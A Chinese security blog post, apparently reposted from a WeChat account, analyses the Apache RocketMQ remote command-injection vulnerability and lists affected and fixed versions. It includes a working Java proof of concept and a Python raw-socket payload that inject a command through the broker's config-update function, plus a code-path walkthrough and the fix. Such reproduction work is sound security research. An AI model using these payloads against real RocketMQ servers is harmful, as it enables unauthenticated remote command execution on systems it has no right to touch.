Apache RocketMQ 命令注入

admin 2024年10月9日22:27:58评论30 views字数 2699阅读8分59秒阅读模式

漏洞简介

RocketMQ 5.1.0及以下版本,在一定条件下,存在远程命令执行风险。RocketMQ的NameServer、Broker、Controller等多个组件外网泄露,缺乏权限验证,攻击者可以利用该漏洞利用更新配置功能以RocketMQ运行的系统用户身份执行命令。此外,攻击者可以通过伪造 RocketMQ 协议内容来达到同样的效果。

影响版本

5.0.0 <= Apache RocketMQ < 5.1.1

4.0.0 <= Apache RocketMQ < 4.9.6

安全版本

Apache RocketMQ 5.1.1

Apache RocketMQ 4.9.6

漏洞复现

在本地创建 maven 项目 并添加依赖

<dependencies>
<!-- https://mvnrepository.com/artifact/org.apache.rocketmq/rocketmq-tools -->
<dependency>
<groupId>org.apache.rocketmq</groupId>
<artifactId>rocketmq-tools</artifactId>
<version>5.1.0</version>
</dependency>
</dependencies>

编写漏洞利用代码

import org.apache.rocketmq.tools.admin.DefaultMQAdminExt;

import java.util.Properties;

publicclasspoc1{
publicstaticvoidmain(String[] args)throwsException{
// 创建 Properties 对象
Propertiesprops=newProperties();
//修改rocketmqHome配置
        props.setProperty("rocketmqHome","-c gnome-calculator test");
        props.setProperty("filterServerNums","1");
// 创建 DefaultMQAdminExt 对象并启动
DefaultMQAdminExtadmin=newDefaultMQAdminExt();
//此处为 namesrv 端口,此端口无需可访问
        admin.setNamesrvAddr("192.168.222.130:9876");
        admin.start();
// 更新配置⽂件
//此处为 broker 端口,必须可访问
        admin.updateBrokerConfig("192.168.222.130:10911", props);
// 关闭 DefaultMQAdminExt 对象
        admin.shutdown();
}
}

漏洞分析

Apache RocketMQ 命令注入
Apache RocketMQ 命令注入
Apache RocketMQ 命令注入
Apache RocketMQ 命令注入

我们看到真正有危险的操作应该是与 10911 进行通信的操作,没有进行身份验证和加密传输,同时带入了命令执行的参数

org/apache/rocketmq/remoting/protocol/RequestCode.java code 代表调用不同的功能

Apache RocketMQ 命令注入

org/apache/rocketmq/broker/processor/AdminBrokerProcessor.java#processRequest

Apache RocketMQ 命令注入

org/apache/rocketmq/broker/processor/AdminBrokerProcessor.java#updateBrokerConfig

Apache RocketMQ 命令注入

org/apache/rocketmq/remoting/Configuration.java#update

Apache RocketMQ 命令注入

如果属性名是其内置的,就进行更新操作

后面的一部分就比较清晰了

org/apache/rocketmq/broker/BrokerStartup.java#start

Apache RocketMQ 命令注入

org/apache/rocketmq/broker/BrokerController.java#start

Apache RocketMQ 命令注入

org/apache/rocketmq/broker/BrokerController.java#startBasicService

Apache RocketMQ 命令注入
image

org/apache/rocketmq/broker/filtersrv/FilterServerManager.java#start

Apache RocketMQ 命令注入
image

根据从 Wireshark 中抓取的数据包 我们也可以构造这样的 payload 触发漏洞

import socket
import binascii
client = socket.socket()

# you ip
client.connect(('192.168.222.130',10911))

# data
json='{"code":25,"flag":0,"language":"JAVA","opaque":0,"serializeTypeCurrentRPC":"JSON","version":433}'.encode('utf-8')
body='filterServerNums=1nrocketmqHome=-c gnome-calculator test'.encode('utf-8')
json_lens =int(len(binascii.hexlify(json).decode('utf-8'))/2)# 一个字节是2个十六进制数
head1 ='00000000'+str(hex(json_lens))[2:]# hex(xxxx) 0x1243434 去掉 0x
all_lens =int(4+len(binascii.hexlify(body).decode('utf-8'))/2+json_lens)# 总长度要 加上 head1[-8:] 的值
head2 ='00000000'+str(hex(all_lens))[2:]
data = head2[-8:]+head1[-8:]+binascii.hexlify(json).decode('utf-8')+binascii.hexlify(body).decode('utf-8')# 协议总长度+json长度+json+body

# send
client.send(bytes.fromhex(data))
data_recv = client.recv(1024)
print(data_recv)

漏洞修复

移除了命令执行的模块

Apache RocketMQ 命令注入

原文始发于微信公众号(合天网安实验室):Apache RocketMQ 命令注入

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月9日22:27:58
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Apache RocketMQ 命令注入https://cn-sec.com/archives/1928649.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息